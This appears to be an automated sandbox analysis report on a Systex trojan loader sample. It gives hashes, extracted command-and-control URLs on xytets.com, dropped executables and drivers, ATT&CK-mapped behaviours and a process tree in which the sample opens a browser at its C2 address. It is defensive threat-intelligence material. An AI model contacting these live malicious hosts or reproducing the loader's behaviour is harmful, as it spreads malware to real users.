systex | bf7cd99d2c6b2abc4f63a14df9c4189eaa8ff53334333a0cad86c9c4136ca8bb

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260717-sr2pzaev7l
SHA256 bf7cd99d2c6b2abc4f63a14df9c4189eaa8ff53334333a0cad86c9c4136ca8bb
MD5 37e4c27e61d2fd9f6e037d4a76074f0f
SHA1 29543a057b5ce591b518f96282dfe35fd1fbbc04
SHA512 0e03068885bcbdc14b9b83626871b73807eee5b69384217871a684db739313d463d669725e974205c0c1acf136c26d190937d9c12dab6ca9e11a6b4b8bcf9e96
SSDEEP 3072:VJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:VghLQ0sQmpcF8BzXfwVfAI
TLSH
T140344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3804	CP.exe
4716	wrojhtomgb.exe
4788	CP.exe
1300	CP.exe
4468	i_wrojhtomgb.exe
3436	ywtomgeywt.sys
4612	CP.exe
3096	omgdyvtolg.exe
2972	CP.exe
5588	CP.exe
5612	i_omgdyvtolg.exe
5204	yvqoigayvq.sys
3388	CP.exe
3144	tqljgaysqo.exe
3480	CP.exe
5748	CP.exe
1068	i_tqljgaysqo.exe
3168	ifdxvqnigd.sys
5888	CP.exe
4468	ifayvqkida.exe
5104	CP.exe
2816	CP.exe
2264	i_ifayvqkida.exe
5352	xvpnifaxsq.sys
2868	CP.exe
4660	kidxusnkfd.exe
5688	CP.exe
436	CP.exe
4252	i_kidxusnkfd.exe
4292	smkhfaxspn.sys
1432	CP.exe
4284	spnhfzxusq.exe
5096	CP.exe
4876	CP.exe
3184	i_spnhfzxusq.exe
5932	uspkhcausm.sys
1668	CP.exe
1488	pmhfzxrpmh.exe
1816	CP.exe
3380	CP.exe
3496	i_pmhfzxrpmh.exe
6016	uomgezwrpj.sys
5224	CP.exe
2264	uomgezwrpj.exe
2088	CP.exe
5576	CP.exe
2772	i_uomgezwrpj.exe
3920	wuomgebzxr.sys
5896	CP.exe
1316	mgeywqojgb.exe
4088	CP.exe
4272	CP.exe
3184	i_mgeywqojgb.exe
2752	trljdbwtom.sys
4412	CP.exe
5936	trljdbztom.exe
2624	CP.exe
5076	CP.exe
3764	i_trljdbztom.exe
4608	ljgbytqlig.sys
972	CP.exe
616	lgdbvtolgd.exe
5204	CP.exe
708	CP.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4808_1842269436\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4808_1842269436\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4808_626547725\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4808_626547725\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4808_1842269436\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4808_41308326\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4808_887632275\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4808_887632275\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4808_1842269436\llm_user_input_extractor_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tqljgaysqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spnhfzxusq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgdbvtolgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzxspkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwuomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tqljgaysqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifayvqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kidxusnkfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhfzxrpmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxvsqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxvsqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgdyvtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhfzxrpmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trljdbztom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnifaxsqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigbytrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrojhtomgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kidxusnkfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spnhfzxusq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomgezwrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomgezwrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhczusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifayvqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgeywqojgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnifaxsqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzxspkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhczusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbztrmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigbytrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbvsqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrojhtomgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trljdbztom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgdbvtolgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgdyvtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwuomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgeywqojgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbvsqlid.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1948	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5932	ipconfig.exe
5584	ipconfig.exe
3376	ipconfig.exe
4448	ipconfig.exe
5364	ipconfig.exe
4104	ipconfig.exe
5384	ipconfig.exe
4328	ipconfig.exe
860	ipconfig.exe
4424	ipconfig.exe
4844	ipconfig.exe
4316	ipconfig.exe
4412	ipconfig.exe
4212	ipconfig.exe
1056	ipconfig.exe
6012	ipconfig.exe
5352	ipconfig.exe
4504	ipconfig.exe
2616	ipconfig.exe
5372	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134287753494038870"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{05275B12-43F1-4353-9939-1522E64218A9}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
4716	wrojhtomgb.exe
4716	wrojhtomgb.exe
4716	wrojhtomgb.exe
4716	wrojhtomgb.exe
4716	wrojhtomgb.exe
4716	wrojhtomgb.exe
4716	wrojhtomgb.exe
4716	wrojhtomgb.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4808	msedge.exe
4808	msedge.exe
4808	msedge.exe
4808	msedge.exe
4808	msedge.exe
4808	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4468	i_wrojhtomgb.exe
Token: SeDebugPrivilege	5612	i_omgdyvtolg.exe
Token: SeDebugPrivilege	1068	i_tqljgaysqo.exe
Token: SeDebugPrivilege	2264	i_ifayvqkida.exe
Token: SeDebugPrivilege	4252	i_kidxusnkfd.exe
Token: SeDebugPrivilege	3184	i_spnhfzxusq.exe
Token: SeDebugPrivilege	3496	i_pmhfzxrpmh.exe
Token: SeDebugPrivilege	2772	i_uomgezwrpj.exe
Token: SeDebugPrivilege	3184	i_mgeywqojgb.exe
Token: SeDebugPrivilege	3764	i_trljdbztom.exe
Token: SeDebugPrivilege	3612	i_lgdbvtolgd.exe
Token: SeDebugPrivilege	6016	i_qoigaysqki.exe
Token: SeDebugPrivilege	4252	i_fdxvsqkica.exe
Token: SeDebugPrivilege	8	i_pnifaxsqki.exe
Token: SeDebugPrivilege	5804	i_fzxspkicau.exe
Token: SeDebugPrivilege	2312	i_rpjhczusmk.exe
Token: SeDebugPrivilege	5300	i_jhbztrmjec.exe
Token: SeDebugPrivilege	1196	i_ebwuomgeyw.exe
Token: SeDebugPrivilege	6064	i_qoigbytrlj.exe
Token: SeDebugPrivilege	1016	i_ljdbvsqlid.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4808	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 4208	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 4456 wrote to memory of 1088	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 4208 wrote to memory of 4808	4208	iexplore.exe	91
PID 1088 wrote to memory of 3396	1088	iexplore.exe	92
PID 4808 wrote to memory of 4440	4808	msedge.exe	93
PID 4808 wrote to memory of 1948	4808	msedge.exe	94
PID 4808 wrote to memory of 4564	4808	msedge.exe	95
PID 4808 wrote to memory of 4564	4808	msedge.exe	95
PID 4808 wrote to memory of 4564	4808	msedge.exe	95
PID 4808 wrote to memory of 4592	4808	msedge.exe	96
PID 4808 wrote to memory of 4592	4808	msedge.exe	96
PID 4808 wrote to memory of 2064	4808	msedge.exe	98
PID 4808 wrote to memory of 2064	4808	msedge.exe	98
PID 4808 wrote to memory of 2064	4808	msedge.exe	98
PID 4808 wrote to memory of 916	4808	msedge.exe	99
PID 4808 wrote to memory of 916	4808	msedge.exe	99
PID 4808 wrote to memory of 916	4808	msedge.exe	99
PID 4808 wrote to memory of 5752	4808	msedge.exe	100
PID 4808 wrote to memory of 5752	4808	msedge.exe	100
PID 4808 wrote to memory of 5752	4808	msedge.exe	100
PID 4808 wrote to memory of 3348	4808	msedge.exe	102
PID 4808 wrote to memory of 616	4808	msedge.exe	101
PID 4808 wrote to memory of 3348	4808	msedge.exe	102
PID 4808 wrote to memory of 3348	4808	msedge.exe	102
PID 4808 wrote to memory of 616	4808	msedge.exe	101
PID 4808 wrote to memory of 616	4808	msedge.exe	101
PID 4808 wrote to memory of 5804	4808	msedge.exe	103
PID 4808 wrote to memory of 5804	4808	msedge.exe	103
PID 4808 wrote to memory of 5816	4808	msedge.exe	106
PID 4808 wrote to memory of 1476	4808	msedge.exe	105
PID 4808 wrote to memory of 5816	4808	msedge.exe	106
PID 4808 wrote to memory of 1476	4808	msedge.exe	105
PID 4808 wrote to memory of 3308	4808	msedge.exe	108
PID 4456 wrote to memory of 3804	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	109
PID 4716 wrote to memory of 4788	4716	wrojhtomgb.exe	112
PID 4808 wrote to memory of 2784	4808	msedge.exe	115
PID 4808 wrote to memory of 2784	4808	msedge.exe	115
PID 4808 wrote to memory of 2140	4808	msedge.exe	118
PID 4808 wrote to memory of 2140	4808	msedge.exe	118
PID 4456 wrote to memory of 1300	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	119
PID 4456 wrote to memory of 4612	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	123
PID 3096 wrote to memory of 2972	3096	omgdyvtolg.exe	125
PID 4456 wrote to memory of 5588	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 4456 wrote to memory of 3388	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 3144 wrote to memory of 3480	3144	tqljgaysqo.exe	134
PID 4456 wrote to memory of 5748	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 4456 wrote to memory of 5888	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 4468 wrote to memory of 5104	4468	ifayvqkida.exe	143
PID 4456 wrote to memory of 2816	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	146
PID 4808 wrote to memory of 5480	4808	msedge.exe	149
PID 4808 wrote to memory of 2384	4808	msedge.exe	150
PID 4808 wrote to memory of 6108	4808	msedge.exe	151
PID 4456 wrote to memory of 2868	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 4660 wrote to memory of 5688	4660	kidxusnkfd.exe	156
PID 4456 wrote to memory of 436	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	159
PID 4456 wrote to memory of 1432	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	163
PID 4284 wrote to memory of 5096	4284	spnhfzxusq.exe	165
PID 4456 wrote to memory of 4876	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	168
PID 4456 wrote to memory of 1668	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	172
PID 1488 wrote to memory of 1816	1488	pmhfzxrpmh.exe	174
PID 4456 wrote to memory of 3380	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	177
PID 4456 wrote to memory of 5224	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	181
PID 2264 wrote to memory of 2088	2264	uomgezwrpj.exe	183
PID 4456 wrote to memory of 5576	4456	2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe	186

C:\Users\Admin\AppData\Local\Temp\2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_37e4c27e61d2fd9f6e037d4a76074f0f_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4808
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ff8bafac188,0x7ff8bafac194,0x7ff8bafac1a0
      4⤵
      PID:4440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2028,i,4751977439412512305,16450430010581914058,524288 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:11
      4⤵
      System Time Discovery
      PID:1948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1876,i,17763730265149843423,560487654730541914,262144 --field-trial-handle=2360,i,8240659112604194526,13711174892197410803,262144 --variations-seed-version --mojo-platform-channel-handle=2356 /prefetch:2
      4⤵
      PID:4564
